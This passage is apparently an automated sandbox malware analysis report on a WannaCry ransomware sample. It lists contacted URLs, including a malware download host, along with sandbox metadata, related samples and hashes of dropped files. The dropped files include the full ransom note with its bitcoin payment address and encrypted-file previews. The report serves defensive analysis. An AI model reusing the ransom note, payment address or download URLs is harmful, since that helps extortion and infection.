                • Avira URL Cloud: safe
                		unknown
                http://schemas.micrm_danish.wnry.0.drfalse
                • URL Reputation: safe
                		unknown
                https://dev.virtualearth.net/REST/v1/Locationssvchost.exe, 00000004.00000003.1417833543.000002DC08257000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000002.1431265329.000002DC08258000.00000004.00000020.00020000.00000000.sdmpfalse
                • Avira URL Cloud: safe
                		unknown
                https://promisesaplus.com/#point-54ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 00000000.00000002.3712568071.0000000002D4B000.00000004.00000020.00020000.00000000.sdmpfalse
                • URL Reputation: safe
                		unknown
                https://t0.ssl.ak.dynamic.tiles.virtualearth.svchost.exe, 00000004.00000003.1417088659.000002DC08249000.00000004.00000020.00020000.00000000.sdmpfalse
                • Avira URL Cloud: safe
                		unknown
                https://dev.ditu.live.com/REST/V1/MapControlConfiguration/native/svchost.exe, 00000004.00000003.1417833543.000002DC08257000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000002.1431265329.000002DC08258000.00000004.00000020.00020000.00000000.sdmpfalse
                • Avira URL Cloud: safe
                		unknown
                https://dev.virtualearth.net/mapcontrol/logging.ashxsvchost.exe, 00000004.00000003.1417833543.000002DC08257000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000002.1431265329.000002DC08258000.00000004.00000020.00020000.00000000.sdmpfalse
                • Avira URL Cloud: safe
                		unknown
                http://ddos.dnsnb8.net:799/cj//k1.rarEwBQInv.exe, 00000002.00000003.1276194123.0000000000E77000.00000004.00000020.00020000.00000000.sdmp, wBQInv.exe, 00000002.00000002.1607845694.0000000000E77000.00000004.00000020.00020000.00000000.sdmptrue
                • Avira URL Cloud: phishing
                		unknown
                https://developer.mozilla.org/en-US/docs/CSS/displayed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 00000000.00000002.3712568071.0000000002D4B000.00000004.00000020.00020000.00000000.sdmpfalse
                • URL Reputation: safe
                		unknown
                https://dynamic.api.tiles.ditu.live.com/odvs/gdi?pv=1&r=svchost.exe, 00000004.00000003.1417660737.000002DC08241000.00000004.00000020.00020000.00000000.sdmpfalse
                • Avira URL Cloud: safe
                		unknown
                https://dynamic.tsvchost.exe, 00000004.00000003.1413734420.000002DC08261000.00000004.00000020.00020000.00000000.sdmpfalse
                • Avira URL Cloud: safe
                		unknown
                https://dev.virtualearth.net/REST/v1/Routes/Transitsvchost.exe, 00000004.00000003.1417833543.000002DC08257000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000002.1431265329.000002DC08258000.00000004.00000020.00020000.00000000.sdmpfalse
                • Avira URL Cloud: safe
                		unknown
                https://bugs.webkit.org/show_bug.cgi?id=137337ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 00000000.00000002.3712568071.0000000002D4B000.00000004.00000020.00020000.00000000.sdmpfalse
                • URL Reputation: safe
                		unknown
                https://t0.ssl.ak.tiles.virtualearth.net/tiles/gensvchost.exe, 00000004.00000003.1417833543.000002DC08257000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000002.1431265329.000002DC08258000.00000004.00000020.00020000.00000000.sdmpfalse
                • Avira URL Cloud: safe
                		unknown
                https://promisesaplus.com/#point-48ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 00000000.00000002.3712568071.0000000002D4B000.00000004.00000020.00020000.00000000.sdmpfalse
                • URL Reputation: safe
                		unknown
                http://ddos.dnsnb8.net:799/cj//k3.rarcC:wBQInv.exe, 00000002.00000002.1607845694.0000000000E16000.00000004.00000020.00020000.00000000.sdmptrue
                • Avira URL Cloud: malware
                		unknown
                https://tiles.virtualearth.net/tiles/cmd/StreetSideBubbleMetaData?north=svchost.exe, 00000004.00000003.1417833543.000002DC08257000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000002.1431265329.000002DC08258000.00000004.00000020.00020000.00000000.sdmpfalse
                • Avira URL Cloud: safe
                		unknown
                https://dynamic.api.tiles.ditu.live.com/odvs/gdv?pv=1&r=svchost.exe, 00000004.00000003.1413656484.000002DC08262000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000002.1431627052.000002DC08263000.00000004.00000020.00020000.00000000.sdmpfalse
                • Avira URL Cloud: safe
                		unknown
                https://html.spec.whatwg.org/multipage/infrastructure.html#strip-and-collapse-whitespaceed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 00000000.00000002.3712568071.0000000002D4B000.00000004.00000020.00020000.00000000.sdmpfalse
                • Avira URL Cloud: safe
                		unknown
                http://ddos.dnsnb8.net:799/cj//k3.rar5wBQInv.exe, 00000002.00000002.1607845694.0000000000E77000.00000004.00000020.00020000.00000000.sdmptrue
                • Avira URL Cloud: phishing
                		unknown
                https://bugzilla.mozilla.org/show_bug.cgi?id=491668ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 00000000.00000002.3712568071.0000000002D4B000.00000004.00000020.00020000.00000000.sdmpfalse
                • URL Reputation: safe
                		unknown
                https://dev.ditu.live.com/REST/v1/Locationssvchost.exe, 00000004.00000003.1417833543.000002DC08257000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000002.1431265329.000002DC08258000.00000004.00000020.00020000.00000000.sdmpfalse
                • Avira URL Cloud: safe
                		unknown
                https://dist.torproject.org/torbrowser/6.5.1/tor-win32-0.2.9.10.ziped01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 00000000.00000002.3719819751.000000001000C000.00000004.00001000.00020000.00000000.sdmptrue
                • Avira URL Cloud: safe
                		unknown
                https://bugs.chromium.org/p/chromium/issues/detail?id=449857ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 00000000.00000002.3712568071.0000000002D4B000.00000004.00000020.00020000.00000000.sdmpfalse
                • URL Reputation: safe
                		unknown
                https://dev.ditu.live.com/REST/v1/JsonFilter/VenueMaps/data/svchost.exe, 00000004.00000002.1431925217.000002DC08270000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000003.1411800337.000002DC0826E000.00000004.00000020.00020000.00000000.sdmpfalse
                • Avira URL Cloud: safe
                		unknown
                https://dynamic.api.tiles.ditu.live.com/odvs/gd?pv=1&r=svchost.exe, 00000004.00000003.1417921521.000002DC08231000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000003.1413656484.000002DC08262000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000002.1431627052.000002DC08263000.00000004.00000020.00020000.00000000.sdmpfalse
                • Avira URL Cloud: safe
                		unknown

                World Map of Contacted IPs

                • No. of IPs < 25%
                • 25% < No. of IPs < 50%
                • 50% < No. of IPs < 75%
                • 75% < No. of IPs

                Public IPs

                IPDomainCountryFlagASNASN NameMalicious
                44.221.84.105
                		ddos.dnsnb8.netUnited States
                		14618AMAZON-AESUSfalse

                General Information

                Joe Sandbox version:40.0.0 Tourmaline
                Analysis ID:1482655
                Start date and time:2024-07-26 01:49:32 +02:00
                Joe Sandbox product:CloudBasic
                Overall analysis duration:0h 12m 45s
                Hypervisor based Inspection enabled:false
                Report type:full
                Cookbook file name:default.jbs
                Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                Number of analysed new started processes analysed:44
                Number of new started drivers analysed:0
                Number of existing processes analysed:0
                Number of existing drivers analysed:0
                Number of injected processes analysed:0
                Technologies:
                • HCA enabled
                • EGA enabled
                • AMSI enabled
                Analysis Mode:default
                Analysis stop reason:Timeout
                Sample name:ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                Detection:MAL
                Classification:mal100.rans.spre.troj.evad.winEXE@808/840@1/1
                EGA Information:
                • Successful, ratio: 100%
                HCA Information:
                • Successful, ratio: 100%
                • Number of executed functions: 90
                • Number of non-executed functions: 66
                Cookbook Comments:
                • Found application associated with file extension: .exe
                • Override analysis time to 240s for sample files taking high CPU consumption

                Warnings

                • Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information.
                • Exclude process from analysis (whitelisted): SgrmBroker.exe, MoUsoCoreWorker.exe, svchost.exe
                • Excluded IPs from analysis (whitelisted): 52.168.117.173
                • Excluded domains from analysis (whitelisted): onedsblobprdeus16.eastus.cloudapp.azure.com, login.live.com, slscr.update.microsoft.com, blobcollector.events.data.trafficmanager.net, ctldl.windowsupdate.com, umwatson.events.data.microsoft.com, time.windows.com, fe3cr.delivery.mp.microsoft.com
                • Not all processes where analyzed, report is missing behavior information
                • Report size exceeded maximum capacity and may have missing behavior information.
                • Report size getting too big, too many NtCreateFile calls found.
                • Report size getting too big, too many NtOpenFile calls found.
                • Report size getting too big, too many NtOpenKeyEx calls found.
                • Report size getting too big, too many NtQueryAttributesFile calls found.
                • Report size getting too big, too many NtQueryValueKey calls found.
                • Report size getting too big, too many NtSetInformationFile calls found.
                • Report size getting too big, too many NtSetValueKey calls found.
                • Report size getting too big, too many NtWriteFile calls found.
                • Report size getting too big, too many NtWriteVirtualMemory calls found.
                • VT rate limit hit for: ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe

                Simulations

                Behavior and APIs

                TimeTypeDescription
                19:50:26API Interceptor2x Sleep call for process: dllhost.exe modified
                19:50:30API Interceptor4531364x Sleep call for process: ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe modified
                21:26:44API Interceptor1x Sleep call for process: WerFault.exe modified

                Joe Sandbox View / Context

                IPs

                MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                44.221.84.105eb46b015c1a492b2307a541e45c2ecc0662bc9fc34b5ed028aac2ee2b6b1895c.exeGet hashmaliciousBdaejecBrowse
                • ddos.dnsnb8.net:799/cj//k2.rar
                Endermanch@Antivirus.exeGet hashmaliciousBdaejecBrowse
                • ddos.dnsnb8.net:799/cj//k1.rar
                EC75DAE286A59F6032A6556E501ECE342C2CA271D1A1CE57C25761747312C301.exeGet hashmaliciousBdaejecBrowse
                • ddos.dnsnb8.net:799/cj//k2.rar
                EF2D1DE8BE7B216F6983BD43D120B512A0917EBE887F30D256ECA8395CE613CC.exeGet hashmaliciousBdaejec, SmokeLoaderBrowse
                • ddos.dnsnb8.net:799/cj//k5.rar
                Endermanch@7ev3n.exeGet hashmalicious7ev3n, Bdaejec, UACMeBrowse
                • ddos.dnsnb8.net:799/cj//k1.rar
                Endermanch@Antivirus.exeGet hashmaliciousBdaejecBrowse
                • ddos.dnsnb8.net:799/cj//k1.rar
                Endermanch@Antivirus2010.exeGet hashmaliciousBdaejecBrowse
                • ddos.dnsnb8.net:799/cj//k1.rar
                Endermanch@CleanThis.exeGet hashmaliciousBdaejecBrowse
                • ddos.dnsnb8.net:799/cj//k2.rar
                Endermanch@Birele.exeGet hashmaliciousBdaejecBrowse
                • ddos.dnsnb8.net:799/cj//k1.rar
                Endermanch@MEMZ.exeGet hashmaliciousBdaejec, KillMBRBrowse
                • ddos.dnsnb8.net:799/cj//k2.rar

                Domains

                MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                ddos.dnsnb8.neteb46b015c1a492b2307a541e45c2ecc0662bc9fc34b5ed028aac2ee2b6b1895c.exeGet hashmaliciousBdaejecBrowse
                • 44.221.84.105
                Endermanch@Antivirus.exeGet hashmaliciousBdaejecBrowse
                • 44.221.84.105
                EC75DAE286A59F6032A6556E501ECE342C2CA271D1A1CE57C25761747312C301.exeGet hashmaliciousBdaejecBrowse
                • 44.221.84.105
                EF2D1DE8BE7B216F6983BD43D120B512A0917EBE887F30D256ECA8395CE613CC.exeGet hashmaliciousBdaejec, SmokeLoaderBrowse
                • 44.221.84.105
                Endermanch@7ev3n.exeGet hashmalicious7ev3n, Bdaejec, UACMeBrowse
                • 44.221.84.105
                Endermanch@Antivirus.exeGet hashmaliciousBdaejecBrowse
                • 44.221.84.105
                Endermanch@Antivirus2010.exeGet hashmaliciousBdaejecBrowse
                • 44.221.84.105
                Endermanch@CleanThis.exeGet hashmaliciousBdaejecBrowse
                • 44.221.84.105
                Endermanch@Birele.exeGet hashmaliciousBdaejecBrowse
                • 44.221.84.105
                Endermanch@MEMZ.exeGet hashmaliciousBdaejec, KillMBRBrowse
                • 44.221.84.105

                ASNs

                MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                AMAZON-AESUSeb46b015c1a492b2307a541e45c2ecc0662bc9fc34b5ed028aac2ee2b6b1895c.exeGet hashmaliciousBdaejecBrowse
                • 44.221.84.105
                Endermanch@Antivirus.exeGet hashmaliciousBdaejecBrowse
                • 44.221.84.105
                EC75DAE286A59F6032A6556E501ECE342C2CA271D1A1CE57C25761747312C301.exeGet hashmaliciousBdaejecBrowse
                • 44.221.84.105
                EF2D1DE8BE7B216F6983BD43D120B512A0917EBE887F30D256ECA8395CE613CC.exeGet hashmaliciousBdaejec, SmokeLoaderBrowse
                • 44.221.84.105
                Endermanch@7ev3n.exeGet hashmalicious7ev3n, Bdaejec, UACMeBrowse
                • 44.221.84.105
                Endermanch@Antivirus.exeGet hashmaliciousBdaejecBrowse
                • 44.221.84.105
                Endermanch@Antivirus2010.exeGet hashmaliciousBdaejecBrowse
                • 44.221.84.105
                Endermanch@CleanThis.exeGet hashmaliciousBdaejecBrowse
                • 44.221.84.105
                Endermanch@Birele.exeGet hashmaliciousBdaejecBrowse
                • 44.221.84.105
                Endermanch@LPS2019.exeGet hashmaliciousUnknownBrowse
                • 34.236.35.187

                JA3 Fingerprints

                ⊘No context

                Dropped Files

                MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                C:\@WanaDecryptor@.exeLisectAVT_2403002A_126.EXE.exeGet hashmaliciousWannacry, ContiBrowse
                  LisectAVT_2403002A_126.EXE.exeGet hashmaliciousWannacryBrowse
                    LisectAVT_2403002A_223.exeGet hashmaliciousWannacryBrowse
                      https://github.com/limiteci/WannaCryGet hashmaliciousWannacryBrowse
                        https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zipGet hashmaliciousConti, WannacryBrowse
                          Request for Quotation (RFQ_196).zip.zipGet hashmaliciousWannacry, ContiBrowse
                            https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/raw/master/Ransomware.WannaCry.zipGet hashmaliciousWannacry, ContiBrowse
                              jTwrz6fY44.exeGet hashmaliciousWannacry, CryptolockerBrowse
                                ZN5KdHxjL1.exeGet hashmaliciousWannacryBrowse
                                  wannacry.exeGet hashmaliciousWannacry, ContiBrowse

                                    Created / dropped Files

                                    C:\@Please_Read_Me@.txt

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:ASCII text, with CRLF line terminators
                                    Category:dropped
                                    Size (bytes):933
                                    Entropy (8bit):4.710902136409594
                                    Encrypted:false
                                    SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnS4RQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3ChvWmMo+S
                                    MD5:7E6B6DA7C61FCB66F3F30166871DEF5B
                                    SHA1:00F699CF9BBC0308F6E101283ECA15A7C566D4F9
                                    SHA-256:4A25D98C121BB3BD5B54E0B6A5348F7B09966BFFEEC30776E5A731813F05D49E
                                    SHA-512:E5A56137F325904E0C7DE1D0DF38745F733652214F0CDB6EF173FA0743A334F95BED274DF79469E270C9208E6BDC2E6251EF0CDD81AF20FA1897929663E2C7D3
                                    Malicious:false
                                    Yara Hits:
                                    • Rule: WannaCry_RansomNote, Description: Detects WannaCry Ransomware Note, Source: C:\@Please_Read_Me@.txt, Author: Florian Roth
                                    • Rule: WannaCry_RansomNote, Description: Detects WannaCry Ransomware Note, Source: C:\@Please_Read_Me@.txt, Author: Florian Roth
                                    • Rule: WannaCry_RansomNote, Description: Detects WannaCry Ransomware Note, Source: C:\@Please_Read_Me@.txt, Author: Florian Roth
                                    • Rule: WannaCry_RansomNote, Description: Detects WannaCry Ransomware Note, Source: C:\@Please_Read_Me@.txt, Author: Florian Roth
                                    Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                    C:\@WanaDecryptor@.exe

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                    Category:dropped
                                    Size (bytes):245760
                                    Entropy (8bit):6.278920408390635
                                    Encrypted:false
                                    SSDEEP:3072:Rmrhd5U1eigWcR+uiUg6p4FLlG4tlL8z+mmCeHFZjoHEo3m:REd5+IZiZhLlG4AimmCo
                                    MD5:7BF2B57F2A205768755C07F238FB32CC
                                    SHA1:45356A9DD616ED7161A3B9192E2F318D0AB5AD10
                                    SHA-256:B9C5D4339809E0AD9A00D4D3DD26FDF44A32819A54ABF846BB9B560D81391C25
                                    SHA-512:91A39E919296CB5C6ECCBA710B780519D90035175AA460EC6DBE631324E5E5753BD8D87F395B5481BCD7E1AD623B31A34382D81FAAE06BEF60EC28B49C3122A9
                                    Malicious:true
                                    Yara Hits:
                                    • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: C:\@WanaDecryptor@.exe, Author: Joe Security
                                    • Rule: Win32_Ransomware_WannaCry, Description: unknown, Source: C:\@WanaDecryptor@.exe, Author: ReversingLabs
                                    Antivirus:
                                    • Antivirus: Avira, Detection: 100%
                                    • Antivirus: Joe Sandbox ML, Detection: 100%
                                    Joe Sandbox View:
                                    • Filename: LisectAVT_2403002A_126.EXE.exe, Detection: malicious, Browse
                                    • Filename: LisectAVT_2403002A_126.EXE.exe, Detection: malicious, Browse
                                    • Filename: LisectAVT_2403002A_223.exe, Detection: malicious, Browse
                                    • Filename: , Detection: malicious, Browse
                                    • Filename: , Detection: malicious, Browse
                                    • Filename: Request for Quotation (RFQ_196).zip.zip, Detection: malicious, Browse
                                    • Filename: , Detection: malicious, Browse
                                    • Filename: jTwrz6fY44.exe, Detection: malicious, Browse
                                    • Filename: ZN5KdHxjL1.exe, Detection: malicious, Browse
                                    • Filename: wannacry.exe, Detection: malicious, Browse
                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......%...a...a...a......b.......u.......`.....d.......j.......e...W...b...a.......W...s.......`...Richa...................PE..L.....[J.................@...p.......1.......P....@..................................................................................0..|............................................................................P...............................text....3.......@.................. ..`.rdata..h....P.......P..............@..@.data....2.......0..................@....rsrc...|....0....... ..............@..@........................................................................................................................................................................................................................................................................................................................................................

                                    C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows NT\MSScan\WelcomeScan.jpg.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):516712
                                    Entropy (8bit):7.9995944124419305
                                    Encrypted:true
                                    SSDEEP:12288:SLh7S8TvFVxoH+BqBxMERcwtWv1MWtSuTR6UhN+N+L1Lo0nW8:wh7S8ZVWH+BqBx1vtK1MKSw6E+o1Lo05
                                    MD5:EEEBAB1DC170B8AD8ABE01B577155734
                                    SHA1:4B1B076BAD63B2F7D1B7522657DE5784B30D3443
                                    SHA-256:2E575E2CF1825AE612170D76D9D567E9B122B735BAAC1192009828301A0C40D0
                                    SHA-512:FB63346983DD70675DB5DA583A8C5CE5626C3D35ECFA8C5727F72A6BC59ABCF5CC84D6022EDC7AC45DBAA9EFD21AF7FEA00F95378ABFD4AEDADD42FC249C6D62
                                    Malicious:true
                                    Preview:WANACRY!.....>.@.g.d.^.e..~p.....Fw[4....[....6......A...C..~j.t...<.D.E.!.h.C.!..0}5..u..A.(.eO-...K.0g'.p.......y.......a....}..3W.\.0.Y.i3....\...r......f.r?.....^A....*$.K...l...... ..F7tO.aN...L........>^...i^.r..+...[..M^.....e\....D.e...i..^..H..v....H.......u...E........?+..{.....m..>wK.......+..).&...c.. _j..nj4VMdW. J&^2.3.D]>..u...Qn..5.%.O..[y..M.u.~..W.;6.&..Wf.........`...>..|.P>?....6..R...1g....V.....(i....GX...Tp...E..!...Z\j>....0...y<...h.>.Q.z.0.=..@v{k...._l.V_......G.T...... a.,* .b...I.e|..C.Y..f+..7.t..u.yx.Pkun;TD..[E#..c.t....S%D..:7..0.n...p..<.^..(7.'M..D<..s.....qI\.6@.}.>RVW.C..{.b..[..F..Z.P...{....J..n.G........ w.o.......~...w..`.~.C..+G....Y.Q.....Rr..-...m...N.....n.k.......@W.jC.x5...@A5|y.V.;.....K.Y*....F.YI]....)e{.a#.{...h.w....<,.7a....*?_.....T.0j/.d..z.O...v.....ZOyX. .\,..{....6..v......s."8g!G..S......1:hA...-......"qQ.w...,(..rG.......]..7[.*i......m....-NZ......].C...^...q. o..._J...f....S.^'M>O.j...C

                                    C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\ThirdPartyNotices.txt.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):7000
                                    Entropy (8bit):7.972192723979544
                                    Encrypted:false
                                    SSDEEP:192:GuIkm918dCfxK7tukMcuLzw+1DTCFVh9WADbJ:dm918dCf87tuZ/Lzw+1DTCFf9WEbJ
                                    MD5:545552EBBF1C1F91916264706BA98733
                                    SHA1:090CD113C456D5547C039E5C22CF43DBABDE81E0
                                    SHA-256:C6ACF7B36339309C9289C1670FE0E988E4D7161F3F871DE9B2F0FBE986AD1F31
                                    SHA-512:B7287B33E48794369B2FBF5C6455A827E55700E02CAB9618BB39B375DFD512E02F39B3E5D92A766A03E48F9B789CD00D82DA8ACCE00E3561922CBECA6A443DA4
                                    Malicious:false
                                    Preview:WANACRY!....8.oH<...crk..?.I.c..a.....w..Ru....<...-H8..w.M.....Q].k........h5.NIGs{..L.6.u.:aO.~.<.@8G;x...A..^."...a};.......h..V...`..].^..[.y..%H...N........<..f.T..8.............6X.p....JIS.q3%.....r.<.@3...l1..f...J....oj.......gJ-...:...|5...0Z.......=........H{.S..z.......9*.l.G...u.l..7Tq8t.L.Z1b...7..Q.I.h...v...a...@..X.....e....Pk...T..!......W-.......y.....tc....e..Z.t..%.[...+/..$.....5...`..P.=).Z6../&....8.:Q"....j.b.,..=.....cY...........Q_.....zM...`..}.6..Fp!iLA.W.w..wu..?.U2..6.bO@C........."....@[E.-hSvb..Q..9...S...9.X.I.&....x. ..X..|....#....k.C.?...t0....H@...wS....NR.w.>..=.)2..@g..N+.(R[...Q.<..XN.=.y..v2./..n...&@.I...L..)...o.6* x.3.\C%....T.s.d=....B..&....g......*...V.s..p-.../....6.>6._...[_.I.<....N~._./......L.}..k.q.......XV...C...=5......h...l..--...l.d.........jg......5..3=s..Y..6.s..nV.3..D.Y.].tE...w........Ky.q..._.&.._...A..5.]J..k,.n...v..,&D........B.7...8KZ2..^....]."5g.~....H{....#.?...rK

                                    C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Platform\4.18.23090.2008-0\ThirdPartyNotices.txt.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):7000
                                    Entropy (8bit):7.97212048109719
                                    Encrypted:false
                                    SSDEEP:192:2kY33eS50lMrqfQW0o60PlJyRF/ukklATzE/lTEsbYRNzf/:2kY33ekpSDZHiFmk8KE/lYNz
                                    MD5:EEEFE4C72C0103CFA06F672776A8A8D3
                                    SHA1:BB63ADB866E47EC1B7EDFD0AA1D65F59344FDA7F
                                    SHA-256:CF11E4452149851170AC00F84DB53A1A94BBFA36AEC5D328BE401846A9CE6891
                                    SHA-512:F98CEE5E407E0B55A283001A9D2B9F2AE168386FBA1B0EF5F5AB5E3CD21C6E30BF02F3765A5459743A79E5F27B0EDF54F4C701607374C251FB49D7FF283A14A8
                                    Malicious:false
                                    Preview:WANACRY!.....=.)..{..0i.)....n..n[....A.....Y...E.F...N...(t...O....|...o...}N.,AR=..Z...;o..6.s..........ht._cg4.Q. .1..6C.........R.rk.)..D.J.O...*....(__..q..5!..dY..?.`xZ7..`$.....Lv...e......>w..i.Nl=....d.}i.l..VF..4e}...S.W...n..H.^1y....z....=.........R..c...@,.-u@.<.".F C.y_.W..5........<R'...&...#,'Tq.Pz'..S.B..Fl..b.....P...c]H*_.....m')...6M\8.c..D.z.....E.U.P... )..d.b.S.(...4...17...U,.\..<jK2......B.Z..*v(..P..Z.g+'W_..6g.X..R..'.`...X\..5@......lJY.r&.&.O.#..G....x........*.K....0.=pQ.+....XLry.)_1.>MK[6X...u..8........'...rpd...k'....1....&...c....%....W.k...y..7 Q.li.-t...<.:....F4.V...;.k....._.....K8.....6...+dx....U....Y.}r)...AZ..;...958..H.Fp..I,..]..ou;...."./a.X..B +.JR.7..VP..I.q......<..;....v.......a2...6.......D.`..n3.9n.yG.4.m..B...__....k@...|.z...R...T._;g.$....aB.$..z.1K..b~t.3........k.znX..gjZkR..?..8....%......;..`..n...r.\....g.:R.....?..&<a....OD.....y|mb....H2...U....1y0...K.4 m.T!...

                                    C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\WER\Temp\WERC09F.tmp.csv.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):81576
                                    Entropy (8bit):7.997544778077971
                                    Encrypted:true
                                    SSDEEP:1536:mQr84EmpArQMRLIpkNSR/bbecu+FVs4Oe8XRUdWH0lD4N9V40WCzWpDRk57nj+3v:xr84rpAUMRLBgR/HeZcVs4Oee0lD43+X
                                    MD5:C8B2963246706F4079A0D93FB50D8F32
                                    SHA1:6629970DF035514A43979D45B928D6BA19E8F03E
                                    SHA-256:A29768E2AC58FA39ACC2AB0DA6BF4E59CBA7754AC7A9071DEC1AC1D6431F6B52
                                    SHA-512:0A34CC11E85E2F057429CE67C6B1A6498CCA26CD2C8E7926B436984EFDF15BD90FC6E6C81092857B09457498AA5E5C3BC8846A7C8D91C80BC64A12340A981B45
                                    Malicious:true
                                    Preview:WANACRY!.........F..&|!.L....V.E.C`....c=./,...\...D4J?<......I.H8q....SFS)..:.!.5e.os.OF...o..1p...b..#=...C.k......IU....i....1.{.:%.......\^^ZC_.Y..&.?/.b..........d.+..=lacE..CAr.g....-.2.c.k......-)......7H! .7v..G.6.4....l..."..<z...dB..y.}.`.R..C^.....=......hW..C..:X.t@..?.f.y..l.7..mN..F[.8h2...[....o.R..!.7...]N.P...[.@..Q..'.y4K..E.<..m..=..A.0*<.%=.].Sc\.!..I.b.X..y....}c9...3..y.QY3.:C.{.M>.{.....$T...b.c....d..|..,..G....M.N.B`..j.Zsc.g._".|4.&...Iw...(#.r....H7Ej....,e.....o .....1}.gus/....S...i.%.....?...x.k+.f."Apv~..c.....h...v.....&(.......P...e..E/..t...k#N..B.~%........#aN...*7T.S.+..Q9.....h...y...C..2VF....0....c..kF........).S....:.Wz.4r..1....N....N..kR..o.{.$q1...0y@..Ye...F.}..|.h.cp.5.........>6fR.../{..!...l.P.X.]U.."! ..w.;^q.'.5...h..}..W.[Zz.k=m....D../...r$9...`A..c.BB.$HWg.j-...5.....N.JFS.=.kyX.!....ss.J..A...PD..m.....%...#.s.C.{1BrU...\.)....,......Px..^.......... N..>..h..)x.1...'.b./!;....

                                    C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\WER\Temp\WERC12D.tmp.txt.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):13624
                                    Entropy (8bit):7.987793579401389
                                    Encrypted:false
                                    SSDEEP:384:L1zT2R6GGPO8XwOnFJUb0k12kUfnIjzq8AOw:V6R9G2QwqtkwkmnIjm1z
                                    MD5:620ABBE5BEA6A0BA1039FF652F39229E
                                    SHA1:9D179A95D3FA8037224E70335A09532B94731210
                                    SHA-256:049E9C4995382B6E8FB71D7E6EB8A441517D34F0D0B9911D8A894C34E1886772
